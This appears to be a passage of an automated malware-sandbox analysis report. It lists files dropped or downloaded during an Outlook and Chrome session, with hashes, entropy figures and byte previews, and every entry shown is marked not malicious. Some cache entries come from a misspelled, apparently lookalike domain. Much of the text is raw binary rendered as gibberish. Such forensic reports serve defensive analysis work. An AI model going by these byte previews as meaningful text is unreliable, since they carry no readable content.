SSDEEP:	24576:NDA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	BA10C16DDBD959367310963B69971540
SHA1:	D3F40F26A53E5C5F1FBE6F5C6CC518FF327CB73C
SHA-256:	3FBA0536D20C3565A6C657F163126BEE3C324645C355B2C1C13BC15B5DEF4665
SHA-512:	048BAB48FD5A3B5B88243DAD37B8F9EFCA6EF0B0FAD6F3A6FE4BAC0EB16BFBD44CEB6601CCD3338280C402E97F2A79916F7253EC2D1394E6A2A2507FF5A5F1CB
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:MKkhllX:MJ/
MD5:	A43E1CCD41076D44E45AC5A1F0EC0FB5
SHA1:	AD033AAA328F82AD7401463FE4C0D0E082CE4365
SHA-256:	0F0BCB5A441596DEFCB188645E608AEC6E1F54CC3EA0245809CF1B8791BBDEAF
SHA-512:	8507DFD5942C208118D6352BAEAADB98F6A0E3D3F5D3FED3963314DDB01000F6AA8C06F7B7DB1FDCBFB141BF8CCDF8F826ABBFCAF8DBBDBDC5A37C08D99C17D9
Malicious:	false
Preview:	....{.........................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 20:05:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.991301394046732
Encrypted:	false
SSDEEP:	48:8dd4CTYuPaHuidAKZdA1FehwiZUklqehty+3:8nzDay
MD5:	C0CB886456AA708842468E2C874A002E
SHA1:	FCCC776582CC86CF6E9B482B8C8E75AA04EE34A8
SHA-256:	12B322E026024C0701DB35D242620C853809624A1F2D5362B57E97F050BAF25B
SHA-512:	8117CAC5A165705230A5BCEA83BC27FCF26055CA5B65FFAA1D385DE0A158098E302D367DACA7DE5C052A5741928B7C50173B0926758837F5D40F403B9429F606
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....7.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............d;5.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 20:05:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.005536579441105
Encrypted:	false
SSDEEP:	48:8Htd4CTYuPaHuidAKZdA1seh/iZUkAQkqehKy+2:8XzN9QLy
MD5:	5B6C30D1DF775C084A37DB454DE71DDE
SHA1:	57C0BFF2CB0DBDB0D88D9D468487DCCC910DE510
SHA-256:	B031B4A92EE093A2240F5F4C5DCFADB64E54B43A9B5205D90B124A23BB523501
SHA-512:	AE85578C03701D98EA0E40D64FAE2D6899E958D0B54E0A4EF899B0C4B7288133AB709873BC43FDD6C6DC09303826794CFA76186A8DE00DD3759C056017E6A7BA
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....?.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............d;5.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.011606250593773
Encrypted:	false
SSDEEP:	48:8ed4CTYuPAHuidAKZdA14meh7sFiZUkmgqeh7sAy+BX:8aznnWy
MD5:	2BBE4BD48680E7CFF4C2790FBE30C490
SHA1:	06CE1B98BF1F3EDF79DF1DC544379ED152FD546F
SHA-256:	57D91279358B0356E5BB799334F13089C7ACE57AADF40F6FAE40541B5EF07899
SHA-512:	E3608FBEE15387FF371C041208B42731832AAAC2CEEAF5FFBB2A0B3411D8B699DBF307B028499C0A571A0D1F1EEB6C9EEFFFB80A8CBB54D1A1B3B1564F48C68E
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............d;5.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 20:05:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.006025388805257
Encrypted:	false
SSDEEP:	48:8Vd4CTYuPaHuidAKZdA1TehDiZUkwqehOy+R:8/z+Yy
MD5:	31729B3A3E8EDAAD56511112D596B53A
SHA1:	840F702A1CEAC60F85589446A7E97DC11EA069D0
SHA-256:	2A2BADC1F95E761E22A61F3D5B2ACF18682BD9CFADD1D6EB8779E75E9D124912
SHA-512:	8A8F4A911EEF7CFCE546D1A735069384F0808221CDF063DCB7C533FDACFA7096511F0CFB0EA7A9A38FB7BBC6A40985E477EA013056D70D08BA61A74567EAEBFA
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....(.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............d;5.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 20:05:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9924905602730463
Encrypted:	false
SSDEEP:	48:8Ld4CTYuPaHuidAKZdA1dehBiZUk1W1qeh8y+C:8tzu9cy
MD5:	8A051ED0F873F63E2D2D11E06D4F893B
SHA1:	00E2C47340B5525EFEAA3CB4B73CE2954449A20C
SHA-256:	5102444EB0D1C94C2094F09D999F2EB0791B1015BE77CA8725866190713D52D2
SHA-512:	4499FF4231EB067F8B8DFC90AA7DA49FA55E1C9B34B2115625C2D8ADEDCA3DF7827224670F3B39E64873AA65023B63EAFDB2F6318DC939BCA04ACC44B7CE98FD
Malicious:	false
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............d;5.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 20:05:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.0047267807886975
Encrypted:	false
SSDEEP:	48:8Hd4CTYuPaHuidAKZdA1duTeehOuTbbiZUk5OjqehOuTbWy+yT+:8JzETfTbxWOvTbWy7T
MD5:	3C99551DBE5AD26813F5E25040578F4F
SHA1:	D1A45EF3A863C5F5AAD1DA76B4A22A25E5CBA6D9
SHA-256:	73177D16CE3F783162917E6FF78964EB0BAC84BF3B1E65DBD9BEA8B351ACF882
SHA-512:	FAFB19DA9F96C4466AD69F5022819BC1DEB6A00E6CD2B99327785B8AAFCF3248714CA6C846DA06C33EEBC5389EE083EB09C5430725590EFE9DC9A1ABCDB411D0
Malicious:	false
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............d;5.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Microsoft Outlook email folder (>=2003)
Category:	dropped
Size (bytes):	271360
Entropy (8bit):	5.819676781352953
Encrypted:	false
SSDEEP:	3072:a+sIDqMzNRoHrzlHnDQD8jKACp9kPDp9:aWVzNCNH8uCeD
MD5:	835BA6A4310B6B7E7A0C3974988F61F3
SHA1:	E22EFD53866EFD8BE33DC9197A926554BE8AF8C7
SHA-256:	F09D2B8579523244E1E2A2CE1C47AD104DF7B60B23E290A147FDB7BF1D6FC03A
SHA-512:	0C86AC559C7389326BB41AC2403E54B1477289079958E856D0AC839DF1B25F0FCC2B049792041CFA40AE43C968F9B0DA7E49154C2E23A47FEB4A575E938343B1
Malicious:	false
Preview:	!BDN.2.-SM......\.......................e................@...........@...@...................................@...........................................................................$.......D...............................................v..................................................................................................................................................................................................................................................................................P........6.d.#T.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	5.40841979278285
Encrypted:	false
SSDEEP:	1536:tfP5DOP7qwW1Ze0PrZp36xwW1Ze0PrZp36wdTrMzgVp8IHfbMjogRowrdrtlaikH:i1MzLID0RowrDlHnpaD8ucp9
MD5:	050D2D0A1196947ABAC7E40690947D7A
SHA1:	D5AEF9360B61E70DE615D55B197C08E46ED09CA8
SHA-256:	C3657A7AC13401431B844E35DB6743D585D9F9C5441152C928C27F44944A1828
SHA-512:	D66A07989317A755958C1F7D408F4CFD63BE806398C50C7E2A6932CC8F43FDFB44296751D0C8E378EFE7BBACB4E8F442C0C23F4333DC8B7078431D61164BCC81
Malicious:	false
Preview:	:A.mC...........@....F......................#.!BDN.2.-SM......\.......................e................@...........@...@...................................@...........................................................................$.......D...............................................v..................................................................................................................................................................................................................................................................................P........6.d.#T..F.........B............#.........................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2, software=Pixelmator Pro 2.0.1], baseline, precision 8, 1600x604, components 3
Category:	downloaded
Size (bytes):	334155
Entropy (8bit):	7.690357767545978
Encrypted:	false
SSDEEP:	6144:VUr9OpYf4wG6nbnOOVawjnrE0Oi83uYEowd7+NovpCl+e2JaTzjhGCwVXqgFtOED:8+Yf4wG6nrOGa8nRQuPoNOxWTvtwVXtl
MD5:	93F9D6750228F4940B91DACD376486EC
SHA1:	F75F0143619579B8A097F4E88F0118C61152798B
SHA-256:	23C58D7199533FA2BE1E457F2DBEF7A4974884303D9F755B9F0B593ECDC84294
SHA-512:	C2E519B3B1FC7451A9F2D9B4D3CE144EBCAB372A40D9AFB54925A20F07F195160B6DB0057FBF24B43ED013F800EDAB18D716A9DD5AC9A7B1F790F4FBA6F240E3
Malicious:	false
URL:	http://www.pipebending.com/images/background/home.jpg
Preview:	......JFIF.....H.H......Exif..MM.*.............................V...........^.(...........1.........f.i.........\|.......H.......H....Pixelmator Pro 2.0.1...............@...........\........http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmp:MetadataDate="2020-12-10T19:58:29Z" xmp:CreatorTool="Pixelmator Pro 2.0.1"/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 293
Category:	downloaded
Size (bytes):	209
Entropy (8bit):	6.848875026805474
Encrypted:	false
SSDEEP:	6:XtxegtMMG38SGtV6esQOYflKMW7H+QaDvuwcJS/E:XreeVjS4p9KMKPuu9N
MD5:	FBC5D904FB6C6646687C64DCC02436C8
SHA1:	91B65AEE2F1A30DBDFFF949EBD612322ED545D59
SHA-256:	49358D392500F33E6EAD38B56A7843E0DEB3F4E01B94FCA10DBDEAB83BDCCD93
SHA-512:	99682F46F973C23DE56FDE4142D9D128532C525DB01EF3335FE64923F767A5802EFBE7D174290B57FBEFD9AFEB0287A4614F1604281C0683A616209AE3650D6E
Malicious:	false
URL:	http://www.pipebending.com/views/common/content.tpl.html
Preview:	..........U.=n.0...".s.&....@. (:P6#..)C?....e....r ...hg..)A.....d...K.. ....L.T.h}q_.V..VkD`..iJ..v..UET..".......#n..+p..a....2.)s#.(.VgA..Q.......3...w.>.:KKP.L....".......V...g@J.F.n..T..[%...

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
URL:	https://ridgelineexcavatoin.com/ASSETS/img/m_.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 933
Category:	downloaded
Size (bytes):	450
Entropy (8bit):	7.448270914829428
Encrypted:	false
SSDEEP:	12:XmTbzBh4fbL/Kx5sGrBVxfKW8FYkIXTvoin:Xm3zBhsbrKUGtf4FYBjvh
MD5:	0AECD17DC03BA9A60F1A2198AF94AB8E
SHA1:	25EAF30B3CFB1219A9B43B22F12DAAF94913CA48
SHA-256:	2DAE2A937C1824A96B9411FEA5E0EFF1543C1EB327582B6E0F4E87DF1E927394
SHA-512:	E2C013E60CF76E610CBD54D3B581723CAA3574282412AA5CEC6A1E39FD65E24FC29BDCD525B8366951893FEA24C0591036FD2EA004C7BB9E100DE99E335D1AC9
Malicious:	false
URL:	http://www.pipebending.com/views/common/header.tpl.html
Preview:	...........S.n.0...F..@.n{L....B~...2SY.$9.b../..v.s..$.9&g....t.S:*9..a.tO'.lV....d...SM....#;..d'......"......K`(..~....Gh)g.0....9..g......@.S..v..;.. .-...]^.....h-.t.c.v..~...M....1E.=..e...uU.......:a..p]-.J..fl....H.....G.)v.2..TYo..5..)...#..?....yGw<..3...K.~........].....y.bJ..c8..P.X...,.Q.!..<`..N...l.~/P....)........._G..j.7.lE..d.......F`WRT..U..2...._..K.;L.~...,......l \|.....$.z5l.B..1.[...n.Y.[\|.+-..5.........

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.989682996400472
Encrypted:	false
SSDEEP:	96:dkYHRo0lrmqxWWcV1CHFKAL4dFjg3dSI03aWTyf6i0nVuXWeoF:dkYPzBlKPgMdil
MD5:	B856DC3CE4E5F2BE20C3D4B716B32821
SHA1:	C009242ABE12F83904F16B8DC684B9DCA537B594
SHA-256:	AE90233D5BDF0743A903CE4D1B00104E1AC42F45378AB1C50AAD0B15D5E5593E
SHA-512:	3742ED12A77425A12090659E11ACC81F6D6E8317271EA15E845072E007F128B1C5E9460CCC2B2EEE9637B16ED4F12FC3A8CB2C724E89A15F100749B7EF8E978B
Malicious:	false
Preview:	...... .... .........(... ...@..... .............................................................................o..._...V...V..._...o...............................................................................................k...W...S~..S~..S...T...T...S...S~..S~..W...k...........................................................................d...R}..S~..T...T...T...T...T...T...T...T...T...T...S~..R}..d...............................................................T...S~..T...T...T...T...T...T...T...T...T...T...T...T...T...T...S~..T...................................................r...R}..T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...R}..q.......................................q...R}..T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...R}..r...................................R}..T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...R}..............................T...T...T...T...T...T...T...T.

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 526032
Category:	downloaded
Size (bytes):	164584
Entropy (8bit):	7.997658326508371
Encrypted:	true
SSDEEP:	3072:UkJfv7LzRtMf/s1EK0QhCNUwgIl0Zfog+BLanhD8Dd8Sr7/FkLeHsHs:UU7LdssGfNXgY0ZfoTdant8Dd8Q79kAL
MD5:	A070B923C732C51244ED228D28B14B26
SHA1:	2E7F57E5E8A37E1810871D15F4E54E923ED5ACD9
SHA-256:	3C3E6E193300212C473F34168B370F173E5673B203AED6B1D7E4B1523D86BE97
SHA-512:	BDAAD7CF1670AEB56791C193D621D677E99C42D39E3B5BC7AB541819E8AF33B1F2810A111EFBF267C1D8953725998D593B2114E795E723D683956E459740872C
Malicious:	false
URL:	http://www.pipebending.com/scripts/1c7ae453.vendor.js
Preview:	...............F./.....Dk..1.U%.}.A.x4Z.5Y........S..Ar?.}....Ed&. (..>g....U...D...1..j....Y..l0.4.........n....p....b.~s./'....v.XL>...x....j...@..gk.....r..<y..Wq2..^..o....K6.........u..fs,....\|.f0X....v...7.....s.X...-.1......^........,..KrE.\M&.,..>.....k..Xf...?Mr]..y.e.&.UN._.d..o..j...4e....[.n..h.^.GG777m=.t>=....\|..juD...'...k...Oy^..[:8.w..yz6...O.x..R.T.l.J...@yW4...,....O.\|>h....jL.@...>^=.gY>..Q.8tn.....#..j.$....G..z>E......G._...d...Fs...........r.......'E....cT......J.t.L...n.u.r\|.<X.O..I2.F.k.`;0;...^Y....X%....\|M.w./..\|..m.j>.\|..>.a...Y1..9^.S...OP.....V.04.D.C.,..2...ii.z...."...{...`g:..52*....m.0=....@]?.^....L7.Tz5...WS......../.~..v..4.^...%s.W.2...b.. 